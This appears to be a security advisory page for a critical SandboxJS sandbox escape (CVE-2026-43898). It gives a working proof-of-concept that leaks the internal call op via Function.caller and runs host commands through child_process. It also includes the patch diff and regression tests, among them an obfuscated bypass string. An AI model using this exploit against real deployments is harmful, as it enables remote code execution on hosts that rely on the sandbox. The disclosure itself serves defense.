Critical severity10.0NVD Advisory· Published May 11, 2026· Updated May 11, 2026
SandboxJS has a sandbox escape via Function.caller leakage of internal call op
CVE-2026-43898
Description
Summary
Sandbox-defined functions expose Function.caller, allowing sandboxed code to recover the internal LispType.Call runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript.
Details
In executorUtils.ts createFunction() constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe: ``js function f(){ return f.caller } ``
That leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal LispType.Call op, which is registered in call.ts. The leaked callback accepts a params object from the attacker and uses its fields without any authentication checks. if you looked at those branches call.ts:47, call.ts:70, call.ts:149. This means the attacker controls obj.context, obj.prop, obj.get, context.evals.get and a. This can lead to direct invocation of an internal primitive with forged operands
PoC
const sandb = require('@nyariv/sandboxjs').default;
const sand = new sandb();
const payload = `
const callOp = (function fn() { return fn.caller; })();
function makeContext(capture = () => {}) {
return { ctx: { options: 0 }, evals: { get: capture } };
}
function leakStatic(obj, prop) {
let leaked;
callOp({
done() {},
a() {},
b: [],
obj: { context: obj, prop, get() {} },
context: makeContext((fn) => (leaked = fn, () => 1))
});
return leaked;
}
function callDirect(fn, args) {
let value;
callOp({
done(_, result) { value = result; },
a() {},
b: args,
obj: fn,
context: makeContext()
});
return value;
}
callDirect(leakStatic(Object, 'defineProperty'), [
leakStatic,
'call',
callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [
callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]),
'constructor'
])
]);
let hostFn;
callOp({
done(_, result) { hostFn = result; },
a: leakStatic,
b: [],
obj: {
context: 'return process.getBuiltinModule("child_process").execSync("whoami").toString()',
get() {}
},
context: makeContext()
});
return hostFn();
`;
console.log(sand.compile(payload)().run());
### Impact _Sandbox escape leads to RCE_
Patches
16 files changed · +177 −9
jest.config.js+0 −1 modified@@ -186,7 +186,6 @@ export default { '^.+\.tsx?$': ['ts-jest', { useESM: true, tsconfig: 'tsconfig.jest.json', - }], },
package.json+1 −1 modified@@ -1,6 +1,6 @@ { "name": "@nyariv/sandboxjs", - "version": "0.9.5", + "version": "0.9.6", "description": "Javascript sandboxing library.", "main": "dist/cjs/Sandbox.js", "module": "./dist/esm/Sandbox.js",
package-lock.json+2 −2 modified@@ -1,12 +1,12 @@ { "name": "@nyariv/sandboxjs", - "version": "0.9.5", + "version": "0.9.6", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "@nyariv/sandboxjs", - "version": "0.9.5", + "version": "0.9.6", "license": "MIT", "devDependencies": { "@types/jest": "^30.0.0",
src/executor/ops/prop.ts+4 −1 modified@@ -93,12 +93,15 @@ addOps<unknown, PropertyKey>(LispType.Prop, ({ done, a, b, obj, context, scope, } } - const val = a[b as keyof typeof a] as unknown; if (typeof a === 'function') { if (b === 'prototype' && !context.ctx.sandboxedFunctions.has(a)) { throw new SandboxAccessError(`Access to prototype of global object is not permitted`); } + if (['caller', 'callee', 'arguments'].includes(b as string)) { + throw new SandboxAccessError(`Access to '${b as string}' property is not permitted`); + } } + const val = a[b as keyof typeof a] as unknown; if (b === '__proto__' && !context.ctx.sandboxedFunctions.has(val?.constructor as any)) { throw new SandboxAccessError(`Access to prototype of global object is not permitted`);
test/eval/testCases/security.data.ts+61 −3 modified@@ -1,5 +1,4 @@ -'use strict'; -import { TestCase } from './types.js'; +import { TestCase } from './types'; export const tests: TestCase[] = [ { @@ -99,7 +98,7 @@ export const tests: TestCase[] = [ category: 'Security', }, { - code: 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+ code: '[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]](([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]]+(+[![]]+[+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])])[+!+[]+[+[]]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[+!+[]]]+[+!+[]])()', evalExpect: 'bypassed', safeExpect: '/bypassed is not defined/', ignoreTime: true, @@ -327,4 +326,63 @@ const p = (async function () {})(); safeExpect: "/Cannot assign property 'Function' of a global object/", category: 'Security', }, + { + code: ` +const callOp = (function fn() { return fn.caller; })(); + +function makeContext(capture = () => {}) { + return { ctx: { options: 0 }, evals: { get: capture } }; +} + +function leakStatic(obj, prop) { + let leaked; + callOp({ + done() {}, + a() {}, + b: [], + obj: { context: obj, prop, get() {} }, + context: makeContext((fn) => (leaked = fn, () => 1)) + }); + return leaked; +} + +function callDirect(fn, args) { + let value; + callOp({ + done(_, result) { value = result; }, + a() {}, + b: args, + obj: fn, + context: makeContext() + }); + return value; +} + +callDirect(leakStatic(Object, 'defineProperty'), [ + leakStatic, + 'call', + callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [ + callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]), + 'constructor' + ]) +]); + +let hostFn; +callOp({ + done(_, result) { hostFn = result; }, + a: leakStatic, + b: [], + obj: { + context: 'return globalThis.bypassed = 1', + get() {} + }, + context: makeContext() +}); + +return hostFn(); +`, + evalExpect: 'error', + safeExpect: "/Access to 'caller' property is not permitted/", + category: 'Security', + }, ];
test/eval/tests.json+109 −1 modified@@ -312,7 +312,7 @@ "category": "Security" }, { - "code": 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+ "code": "[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]](([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]]+(+[![]]+[+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])])[+!+[]+[+[]]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[+!+[]]]+[+!+[]])()", "evalExpect": "bypassed", "safeExpect": "/bypassed is not defined/", "ignoreTime": true, @@ -534,6 +534,12 @@ "safeExpect": "/Cannot assign property 'Function' of a global object/", "category": "Security" }, + { + "code": "\nconst callOp = (function fn() { return fn.caller; })();\n\nfunction makeContext(capture = () => {}) {\n return { ctx: { options: 0 }, evals: { get: capture } };\n}\n\nfunction leakStatic(obj, prop) {\n let leaked;\n callOp({\n done() {},\n a() {},\n b: [],\n obj: { context: obj, prop, get() {} },\n context: makeContext((fn) => (leaked = fn, () => 1))\n });\n return leaked;\n}\n\nfunction callDirect(fn, args) {\n let value;\n callOp({\n done(_, result) { value = result; },\n a() {},\n b: args,\n obj: fn,\n context: makeContext()\n });\n return value;\n}\n\ncallDirect(leakStatic(Object, 'defineProperty'), [\n leakStatic,\n 'call',\n callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [\n callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]),\n 'constructor'\n ])\n]);\n\nlet hostFn;\ncallOp({\n done(_, result) { hostFn = result; },\n a: leakStatic,\n b: [],\n obj: {\n context: 'return globalThis.bypassed = 1',\n get() {}\n },\n context: makeContext()\n});\n\nreturn hostFn();\n", + "evalExpect": "error", + "safeExpect": "/Access to 'caller' property is not permitted/", + "category": "Security" + }, { "code": "1+1", "evalExpect": 2, @@ -1536,6 +1542,42 @@ "safeExpect": "/stop/", "category": "Error Handling" }, + { + "code": "nonExistentVar", + "evalExpect": "error", + "safeExpect": "/nonExistentVar is not defined/", + "category": "Error Handling" + }, + { + "code": "const list = []; const push = list.push; push(1); push(2); return list.join(',')", + "evalExpect": "1,2", + "safeExpect": "1,2", + "category": "Function Replacements" + }, + { + "code": "const list = []; const push = list.push; return push.name", + "evalExpect": "push", + "safeExpect": "push", + "category": "Function Replacements" + }, + { + "code": "const list = []; const other = []; const push = list.push; const rebound = push.bind(other); rebound(3); return [list.join(','), other.join(','), rebound.name].join('|')", + "evalExpect": "|3|bound push", + "safeExpect": "|3|bound push", + "category": "Function Replacements" + }, + { + "code": "const list = []; const other = []; const push = list.push; const rebound = push.bind(other, 3, 4); rebound(); return [list.join(','), other.join(','), rebound.name, rebound.length].join('|')", + "evalExpect": "|3,4|bound push|0", + "safeExpect": "|3,4|bound push|0", + "category": "Function Replacements" + }, + { + "code": "const list = []; const other = []; const third = []; const push = list.push; const rebound = push.bind(other, 3); const reboundAgain = rebound.bind(third, 4); reboundAgain(5); return [list.join(','), other.join(','), third.join(','), reboundAgain.name].join('|')", + "evalExpect": "|3,4,5||bound bound push", + "safeExpect": "|3,4,5||bound bound push", + "category": "Function Replacements" + }, { "code": "((a) => {return a + 1})(1)", "evalExpect": 2, @@ -2560,6 +2602,66 @@ "safeExpect": 10, "category": "Objects & Arrays" }, + { + "code": "[1,2,3,].length", + "evalExpect": 3, + "safeExpect": 3, + "category": "Objects & Arrays" + }, + { + "code": "Object.keys({a:1,b:2,}).length", + "evalExpect": 2, + "safeExpect": 2, + "category": "Objects & Arrays" + }, + { + "code": "[,].length", + "evalExpect": 1, + "safeExpect": 1, + "category": "Objects & Arrays" + }, + { + "code": "0 in [,]", + "evalExpect": false, + "safeExpect": false, + "category": "Objects & Arrays" + }, + { + "code": "[,,].length", + "evalExpect": 2, + "safeExpect": 2, + "category": "Objects & Arrays" + }, + { + "code": "[1,,].length", + "evalExpect": 2, + "safeExpect": 2, + "category": "Objects & Arrays" + }, + { + "code": "1 in [1,,]", + "evalExpect": false, + "safeExpect": false, + "category": "Objects & Arrays" + }, + { + "code": "[1,,2].length", + "evalExpect": 3, + "safeExpect": 3, + "category": "Objects & Arrays" + }, + { + "code": "1 in [1,,2]", + "evalExpect": false, + "safeExpect": false, + "category": "Objects & Arrays" + }, + { + "code": "[1,,2][2]", + "evalExpect": 2, + "safeExpect": 2, + "category": "Objects & Arrays" + }, { "code": "test2 !== '1' && false", "evalExpect": false, @@ -3344,6 +3446,12 @@ "safeExpect": "/Unclosed/", "category": "Syntax Errors" }, + { + "code": "return eval(\"({a:1,,b:2})\");", + "evalExpect": "error", + "safeExpect": "/Unexpected token ,/", + "category": "Syntax Errors" + }, { "code": "const a = 1; const b = 2; return `${a} + ${b} = ${a+b}`", "evalExpect": "1 + 2 = 3",
Vulnerability mechanics
AI mechanics synthesis has not run for this CVE yet.
References
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